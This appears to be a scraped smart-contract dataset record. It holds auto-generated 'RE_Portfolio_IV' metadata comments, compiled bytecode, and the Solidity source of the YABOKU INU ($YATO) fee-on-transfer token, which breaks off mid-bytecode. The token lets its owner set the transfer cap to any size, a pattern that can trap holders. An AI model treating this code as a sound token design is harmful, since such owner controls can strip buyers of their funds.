> // < 1E-018 limites [ 832162888,135598 ; 853826333,353964 ] > // < 0x00000000000000000000000000000000000000000000136013CE2113E133996B > // < RE_Portfolio_IV_metadata_line_27_____Asta_Managing_Agency_Limited_20250515 > // < H3LLWhD3RZF7Qhcw9Ps1gawwS6CSC6Sb25b093D34308d6aw024cL8aTIvFUrH0n > // < 1E-018 limites [ 853826333,353964 ; 873606943,744548 ] > // < 0x0000000000000000000000000000000000000000000013E133996B14571A6A5A > // < RE_Portfolio_IV_metadata_line_28_____Asta_Managing_Agency_Limited_20250515 > // < Zz0KWuhROZ6G0019574A3LH6C1fnSU8Ufd2474C0Z3NeZ7tp54b137BJiULrv0dM > // < 1E-018 limites [ 873606943,744548 ; 926867203,013495 ] > // < 0x0000000000000000000000000000000000000000000014571A6A5A15948F1F21 > // < RE_Portfolio_IV_metadata_line_29_____Asta_Managing_Agency_Limited_20250515 > // < Y0R7uX28Tm9OyXs3QsNWWU7BJu2PYi9FI4243GY7jZ2F4N9m0W91m82c0XZjEPAn > // < 1E-018 limites [ 926867203,013495 ; 943650367,1903 ] > // < 0x0000000000000000000000000000000000000000000015948F1F2115F89832A3 > // < RE_Portfolio_IV_metadata_line_30_____Asta_Managing_Agency_Limited_20250515 > // < QX6v1t8Jwv4WU6y0Z6SYADzW55BnD96qz2K7e6Opx61p9GgEDip7Q4qH21c355BH > // < 1E-018 limites [ 943650367,1903 ; 964042863,975243 ] > // < 0x0000000000000000000000000000000000000000000015F89832A3167224ADB1 > // Programme d&#39;&#233;mission - Lignes 31 &#224; 40 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_IV_metadata_line_31_____Asta_Managing_Agency_Limited_20250515 > // < Of4pSWtPyUQ2VN8EpyQR2l8ssd28Vs94woyA2udkUOCn1C3pYMVl6q0tGpYI4K0G > // < 1E-018 limites [ 964042863,975243 ; 1012544844,12417 ] > // < 0x00000000000000000000000000000000000000000000167224ADB117933CD3B0 > // < RE_Portfolio_IV_metadata_line_32_____Asta_Managing_Agency_Limited_20250515 > // < 7j215s65589GN9ZU2QmUUA50J7n24ja04n9xlV98eU1q2Kup59px1zN684vfK90r > // < 1E-018 limites [ 1012544844,12417 ; 1030763908,61855 ] > // < 0x0000000000000000000000000000000000000000000017933CD3B017FFD4E9C1 > // < RE_Portfolio_IV_metadata_line_33_____Asta_Managing_Agency_Limited_20250515 > // < zTqCw74u1QbCbnBUuLNaF93f0em0404L7Cfu5C2sSwv2NyfPe7ty0OGZ3p3SE0du > // < 1E-018 limites [ 1030763908,61855 ; 1064233725,87595 ] > // < 0x0000000000000000000000000000000000000000000017FFD4E9C118C753CD1F > // < RE_Portfolio_IV_metadata_line_34_____Asta_Managing_Agency_Limited_20250515 > // < Zgw7uai87T9aytL220y8DYs1DV89CdAVq58z0e3fWFfy3YEJng8w44mUGyg9u6id > // < 1E-018 limites [ 1064233725,87595 ; 1080233240,99136 ] > // < 0x0000000000000000000000000000000000000000000018C753CD1F1926B11FB7 > // < RE_Portfolio_IV_metadata_line_35_____Asta_Managing_Agency_Limited_20250515 > // < 9q1687xuSI2i4k02EpX54mAG4VvAd51w8W2vMG9Gd4lud53JNS8H2p3U60U6Li20 > // < 1E-018 limites [ 1080233240,99136 ; 1093559904,41456 ] > // < 0x000000000000000000000000000000000000000000001926B11FB719761FFF9D > // < RE_Portfolio_IV_metadata_line_36_____Asta_Managing_Agency_Limited_20250515 > // < 4AgVi9OFdzIqTS6tp1Q6OQtslObQxYUIN8qxMBb2OH0A4878K4Q2b1G9ZZk5IpId > // < 1E-018 limites [ 1093559904,41456 ; ] > // < 0x0000000000000000000000000000000000000000000019761FFF9D1A400DE845 > // < RE_Portfolio_IV_metadata_line_37_____Asta_Managing_Agency_Limited_20250515 > // < 61stanSI9tYMGV31mzg2qru375J3K86mzAp20lL7OumeZHB1b1im53UnT2AevMH4 > // < 1E-018 limites [ 1127438024,49399 ; 1159792529,58135 ] > // < 0x000000000000000000000000000000000000000000001A400DE8451B00E6F6D2 > // < RE_Portfolio_IV_metadata_line_38_____Asta_Managing_Agency_Limited_20250515 > // < dSoSW0glrN7tk3f78wsuQDn3108u82l7W8MHs6UPI1uflTX8HQMD9z3oEnTovDe1 > // < 1E-018 limites [ 1159792529,58135 ; 1181038175,10479 ] > // < 0x000000000000000000000000000000000000000000001B00E6F6D21B7F893F1A > // < RE_Portfolio_IV_metadata_line_39_____Asta_Managing_Agency_Limited_20250515 > // < i7r131cOFs0zsf7Lc915ke695qbjq864CBF9lDkC9nm48P62xU4CBVssi8aFln5t > // < 1E-018 limites [ 1181038175,10479 ; 1238241050,28727 ] > // < 0x000000000000000000000000000000000000000000001B7F893F1A1CD47DE838 > // < RE_Portfolio_IV_metadata_line_40_____Asta_Managing_Agency_Limited_20250515 > // < f720wEA3DNcKbmzLwBsvBT5e3x5sA05Ol4JYBwoWr56Nh3MaPtcp7T5aePRxvphs > // < 1E-018 limites [ 1238241050,28727 ; 1286737478,90832 ] > // < 0x000000000000000000000000000000000000000000001CD47DE8381DF58D95A6 > }
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013957806318160ddd1461019e57806323b872dd146101c9578063313ce5671461024e57806370a082311461027f57806395d89b41146102d6578063a9059cbb14610366578063b5c8f317146103cb578063dd62ed3e146103e2575b600080fd5b3480156100b557600080fd5b506100be610459565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fe5780820151818401526020810190506100e3565b50505050905090810190601f16801561012b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014557600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104f7565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b36105e9565b6040518082815260200191505060405180910390f35b3480156101d557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ef565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b5061026361085b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028b57600080fd5b506102c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086e565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b506102eb610886565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032b578082015181840152602081019050610310565b50505050905090810190601f1680156103585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037257600080fd5b506103b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610924565b604051808215151515815260200191505060405180910390f35b3480156103d757600080fd5b506103e0610a7a565b005b3480156103ee57600080fd5b50610443600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b29565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ef5780601f106104c4576101008083540402835291602001916104ef565b820191906000526020600020905b8154815290600101906020018083116104d257829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561063e57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106c957600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820127b6538ea5aaf9482592ab868d9a4ee63661ff283e81329a2eba63d1b7be7b50029
{"success": true, "error": null, "results": {}}
1,217
0xce4ec940c2412c048be742b41f2615ee2edf6369
/** YABOKU INU ( $YATO ) Official links: Website: www.yato.club Twitter: twitter.com/YatoToken Telegram: t.me/YatoToken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract YATO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "YABOKU INU"; string private constant _symbol = "$YATO"; uint8 private constant _decimals = 9; uint256 private _taxFee = 4; uint256 private _teamFee = 6; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private buyCooldownEnabled = false; bool private sellCooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setBuyCooldownEnabled(bool onoff) external onlyOwner() { buyCooldownEnabled = onoff; } function setSellCooldownEnabled(bool onoff) external onlyOwner() { sellCooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Too many tokens."); // to buyer if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && buyCooldownEnabled) { require(tradingOpen, "Trading not yet enabled."); require(cooldown[to] < block.timestamp, "Your transaction cooldown has not expired."); cooldown[to] = block.timestamp + (1 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); // from seller if (!inSwap && from != uniswapV2Pair && tradingOpen) { require(amount <= 1e8 * 10**9); if(sellCooldownEnabled) { require(cooldown[from] < block.timestamp, "Your transaction cooldown has not expired."); cooldown[from] = block.timestamp + (90 seconds); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); buyCooldownEnabled = true; sellCooldownEnabled = true; tradingOpen = true; _maxTxAmount = 1e12 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxAmount(uint256 amount) external onlyOwner() { require(amount > 0, "Amount must be greater than 0"); _maxTxAmount = amount; emit MaxTxAmountUpdated(_maxTxAmount); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function maxTxAmount() public view returns (uint) { return _maxTxAmount; } function sellCooldown() public view returns (bool) { return sellCooldownEnabled; } function buyCooldown() public view returns (bool) { return buyCooldownEnabled; } }
0x6080604052600436106101395760003560e01c80638c0b5e22116100ab578063c3c8cd801161006f578063c3c8cd8014610411578063c9567bf914610428578063d543dbeb1461043f578063dd62ed3e14610468578063e8078d94146104a5578063ec28438a146104bc57610140565b80638c0b5e221461032a5780638da5cb5b1461035557806395d89b4114610380578063a9059cbb146103ab578063acaf4a80146103e857610140565b8063313ce567116100fd578063313ce5671461024057806356c2c6be1461026b5780636fc3eaec14610294578063704fbfe5146102ab57806370a08231146102d6578063715018a61461031357610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad5780631b2773c2146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104e5565b6040516101679190612e79565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612997565b610522565b6040516101a49190612e5e565b60405180910390f35b3480156101b957600080fd5b506101c2610540565b6040516101cf919061305b565b60405180910390f35b3480156101e457600080fd5b506101ed610551565b6040516101fa9190612e5e565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612948565b610568565b6040516102379190612e5e565b60405180910390f35b34801561024c57600080fd5b50610255610641565b60405161026291906130d0565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d91906129d3565b61064a565b005b3480156102a057600080fd5b506102a96106fc565b005b3480156102b757600080fd5b506102c061076e565b6040516102cd9190612e5e565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f891906128ba565b610785565b60405161030a919061305b565b60405180910390f35b34801561031f57600080fd5b506103286107d6565b005b34801561033657600080fd5b5061033f610929565b60405161034c919061305b565b60405180910390f35b34801561036157600080fd5b5061036a610933565b6040516103779190612d90565b60405180910390f35b34801561038c57600080fd5b5061039561095c565b6040516103a29190612e79565b60405180910390f35b3480156103b757600080fd5b506103d260048036038101906103cd9190612997565b610999565b6040516103df9190612e5e565b60405180910390f35b3480156103f457600080fd5b5061040f600480360381019061040a91906129d3565b6109b7565b005b34801561041d57600080fd5b50610426610a69565b005b34801561043457600080fd5b5061043d610ae3565b005b34801561044b57600080fd5b5061046660048036038101906104619190612a25565b610b95565b005b34801561047457600080fd5b5061048f600480360381019061048a919061290c565b610cde565b60405161049c919061305b565b60405180910390f35b3480156104b157600080fd5b506104ba610d65565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612a25565b6112c2565b005b60606040518060400160405280600a81526020017f5941424f4b5520494e5500000000000000000000000000000000000000000000815250905090565b600061053661052f6113dd565b84846113e5565b6001905092915050565b6000683635c9adc5dea00000905090565b6000601060179054906101000a900460ff16905090565b60006105758484846115b0565b610636846105816113dd565b6106318560405180606001604052806028815260200161371260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e76113dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4b9092919063ffffffff16565b6113e5565b600190509392505050565b60006009905090565b6106526113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d690612f7b565b60405180910390fd5b80601060166101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073d6113dd565b73ffffffffffffffffffffffffffffffffffffffff161461075d57600080fd5b600047905061076b81611caf565b50565b6000601060169054906101000a900460ff16905090565b60006107cf600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611daa565b9050919050565b6107de6113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086290612f7b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000601154905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f245941544f000000000000000000000000000000000000000000000000000000815250905090565b60006109ad6109a66113dd565b84846115b0565b6001905092915050565b6109bf6113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390612f7b565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aaa6113dd565b73ffffffffffffffffffffffffffffffffffffffff1614610aca57600080fd5b6000610ad530610785565b9050610ae081611e18565b50565b610aeb6113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90612f7b565b60405180910390fd5b6001601060146101000a81548160ff021916908315150217905550565b610b9d6113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2190612f7b565b60405180910390fd5b60008111610c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6490612f1b565b60405180910390fd5b610c9c6064610c8e83683635c9adc5dea0000061211290919063ffffffff16565b61218d90919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601154604051610cd3919061305b565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d6d6113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190612f7b565b60405180910390fd5b601060149054906101000a900460ff1615610e4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e419061301b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eda30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113e5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5891906128e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fba57600080fd5b505afa158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff291906128e3565b6040518363ffffffff1660e01b815260040161100f929190612dab565b602060405180830381600087803b15801561102957600080fd5b505af115801561103d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106191906128e3565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ea30610785565b6000806110f5610933565b426040518863ffffffff1660e01b815260040161111796959493929190612dfd565b6060604051808303818588803b15801561113057600080fd5b505af1158015611144573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111699190612a4e565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506001601060146101000a81548160ff021916908315150217905550683635c9adc5dea00000601181905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161126c929190612dd4565b60206040518